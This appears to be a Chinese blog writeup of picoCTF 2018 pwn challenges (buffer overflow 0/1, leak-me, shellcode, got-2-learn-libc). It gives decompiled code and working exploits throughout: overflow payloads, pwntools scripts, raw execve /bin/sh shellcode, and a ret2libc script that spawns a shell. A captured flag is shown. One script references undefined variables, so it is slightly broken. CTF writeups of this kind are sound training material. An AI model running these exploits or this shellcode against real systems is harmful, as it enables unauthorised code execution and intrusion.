picoctf-Writeup
2018/10/02

buffer overflow 0

查看程序源代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __gid_t v3; // ST18_4
  int v5; // [esp-Ch] [ebp-1Ch]
  FILE *stream; // [esp+4h] [ebp-Ch]

  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts(
      "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
    exit(0);
  }
  fgets(flag, 64, stream);
  signal(11, (__sighandler_t)sigsegv_handler);
  v3 = getegid();
  setresgid(v3, v3, v3, v5);
  if ( argc <= 1 )
  {
    puts("This program takes 1 argument.");
  }
  else
  {
    vuln((char *)argv[1]);
    printf("Thanks! Received: %s", argv[1]);
  }
  return 0;
}

将flag.txt读入栈中

那么第一想法就应该是ssp leak flag

查看保护

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$

发现没开一canary ==

void __cdecl __noreturn sigsegv_handler(int a1)
{
  fprintf(stderr, "%s\n", flag);
  fflush(stderr);
  exit(1);
}

在代码中找到 一处print flag的地方 那么就可以尝试溢出到sigsegv_handler地址 打印flag

char *__cdecl vuln(char *src)
{
  char dest; // [esp+0h] [ebp-18h]

  return strcpy(&dest, src); //溢出点
}

payload

./buffer0 `python -c "print 'a'*0x18+'bbbb'+'\x2B\x86\x04\x08'"`

\x2B\x86\x04\x08是 sigsegv_handler地址

远程尝试获取flag

1

buffer overflow 1

查看题目得知 此次只需要跳转到win地址即可

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __gid_t v3; // ST1C_4

  setvbuf(_bss_start, 0, 2, 0);
  v3 = getegid();
  setresgid(v3, v3, v3);
  puts("Please enter your string: ");
  vuln();
  return 0;
}

跟入vuln

int vuln()
{
  int v0; // eax
  char s; // [esp+0h] [ebp-28h]
  int savedregs; // [esp+28h] [ebp+0h]

  gets(&s); //存在溢出
  v0 = get_return_address((int)&savedregs);
  return printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", v0);
}

win_addr = 0x80485CB

构造本地payload

from pwn import *

p = process('./buffer1')
p.recv()

payload = 'a'*0x28+'bbbb'+p32(0x80485CB)
p.sendline(payload)
p.interactive()

构造远程payload

iosmosis@pico-2018-shell-1:~$ cd /problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78
iosmosis@pico-2018-shell-1:/problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78$ python
Python 2.7.12 (default, Dec  4 2017, 14:50:18) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> payload = 'a'*0x28+'bbbb'+p32(0x80485CB)
>>> p =process('./vuln')
[x] Starting local process './vuln'
[+] Starting local process './vuln': pid 856860
>>> p.sendline(payload)
>>> p.interactive()
[*] Switching to interactive mode
[*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 856860)
Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
picoCTF{addr3ss3s_ar3_3asy65489706}[*] Got EOF while reading in interactive

成功获取到flag

2

leak-me

查看源代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
  return 0;
}


int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  // real pw: 
  FILE *file;
  char password[64];
  char name[256];
  char password_input[64];

  memset(password, 0, sizeof(password));
  memset(name, 0, sizeof(name));
  memset(password_input, 0, sizeof(password_input));

  printf("What is your name?\n");

  fgets(name, sizeof(name), stdin);
  char *end = strchr(name, '\n');
  if (end != NULL) {
    *end = '\x00';
  }

  strcat(name, ",\nPlease Enter the Password.");

  file = fopen("password.txt", "r");
  if (file == NULL) {
    printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(password, sizeof(password), file);

  printf("Hello ");
  puts(name); 

  fgets(password_input, sizeof(password_input), stdin);
  password_input[sizeof(password_input)] = '\x00';

  if (!strcmp(password_input, password)) {
    flag();
  }
  else {
    printf("Incorrect Password!\n");
  }
  return 0;
}

看到name 定义为 char name[256];

我们只需要大于0x100长度的字符串即可leak处password

这里先讲一下如何修复

如果用ida32打开程序的话会无法F5

3

如图

这是因为反编译插件无法确定其中函数的参数个数

解决方法:

跳转到该地址

4

5

进入该函数 按 Y 修改函数约定和参数个数

6

然后再按F5

接着切换到main函数 即可成功F5反编译

7

由于断电 这里先进行本地getflag

8

leak出本地password

再次输入password即可获取到flag

shellcode

检查保护

ios@ubuntu:~$ checksec shellcode
[*] '/home/ios/shellcode'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
ios@ubuntu:~$

保护全关 所以只要写入shellcode即可

9

F5报错

修复办法 :

G跟进地址

10

keypatch该指令 用nop填充

11

再次按F5

12

分析代码流程

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+8h] [ebp-A0h]
  int v5; // [esp+9Ch] [ebp-Ch]

  setvbuf(stdout, 0, 2, 0);
  v5 = getegid();
  setresgid(v5, v5, v5);
  puts("Enter a string!");
  vuln(&v4);
  puts("Thanks! Executing now...");
  return 0;
}

v4传入vuln函数 跟进

int __cdecl vuln(int a1//v4)
{
  gets(a1); //漏洞存在点
  return puts(a1);
}

溢出偏移 0xA0

使用现有的shellcode 或者生产shellcode

from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode=asm(shellcraft.sh())
//现有
shellcode = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x51\x52\x55\x89\xe5\x0f\x34\x31\xc0\x31\xdb\xfe\xc0\x51\x52\x55\x89\xe5\x0f\x34"

那么构造exp

from pwn import*
p =process('./shellcode')
elf =ELF('shellcode')
bss =elf.bss()
shellcode = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x51\x52\x55\x89\xe5\x0f\x34\x31\xc0\x31\xdb\xfe\xc0\x51\x52\x55\x89\xe5\x0f\x34"

payload = shellcode+'A'*(0xA0-len(shellcode))+'bbbb'+p32(0x1553155)//随意给出一个ret地址
p.recv()
p.sendline(payload)
p.interactive()

got-2-learn-libc

检查保护

ubuntu@ubuntu:~$ checksec got2libc
[*] '/home/ubuntu/got2libc'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
ubuntu@ubuntu:~$

开启PIE NX RELRO

载入ida查看流程

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __gid_t v3; // ST1C_4

  setvbuf(stdout, 0, 2, 0);
  v3 = getegid();
  setresgid(v3, v3, v3);
  sub_618(0x2000);
  printf("puts: %p\n", &puts);
  printf("fflush %p\n", &fflush);
  printf("read: %p\n", &read);
  printf("write: %p\n", &write);
  printf("useful_string: %p\n", useful_string);
  putchar(10);
  vuln();
  return 0;
}

主流程打印了当前的一些地址 看到还打印了一个useful_string 我们跟进看下 是什么

.data:00002030                 public useful_string
.data:00002030 useful_string   db '/bin/sh',0          ; DATA XREF: main+C9↑o
.data:00002038                 align 10h
.data:00002038 _data           ends

看到存的binsh

跟进vuln函数

int vuln()
{
  char s; // [esp+Ch] [ebp-9Ch]

  sub_618(0x2000);
  gets(&s); //存在溢出
  sub_618(0x2000);
  return sub_618(0x2000);
}

漏洞点也很明显

思路:

由于程序打印了puts地址 所以可以根据puts_addr找到libc版本

通过计算libc_base 从而计算出system_addr

题目已给出/bin/sh地址所以我们可以直接构造payload

EXP

from pwn import *

p =process('got2libc')
elf = ELF('got2libc')
puts_plt_offset = elf.symbols['puts']
puts_got_offset = elf.got['puts']
print hex(puts_plt)
print hex(puts_got)
putsaddr = p.recv()
puts= putsaddr[41:49]
binsh= putsaddr[120:128]
#puts_plt = 0xf7e0618
#puts_got = 0xf7e01fe4
#payload = 'A'*0x9C+'bbbb'+p32(puts_plt)+p32(0xf7e0803)+p32(puts_got)

#p.sendline(payload)
#log.info(p.recvuntil('Thanks! Exiting now...\n'))
#data = p.recvuntil('\n', drop=True)
#puts = u32(data.ljust(4,'\x00'))

system = int(puts,16)-0x05fca0+0x03ada0

payload = 'A'*0x9C+'bbbb'+p32(system)+p32(0x1553155)+p32(int(binsh,16))

p.sendline(payload)
p.interactive()

注意str与int的转换

这里的system计算是通过https://libc.blukat.me

13

14

成功拿到shell

请杯咖啡呗~
支付宝
微信
本文作者:ios
版权声明:本文首发于ios的博客,转载请注明出处!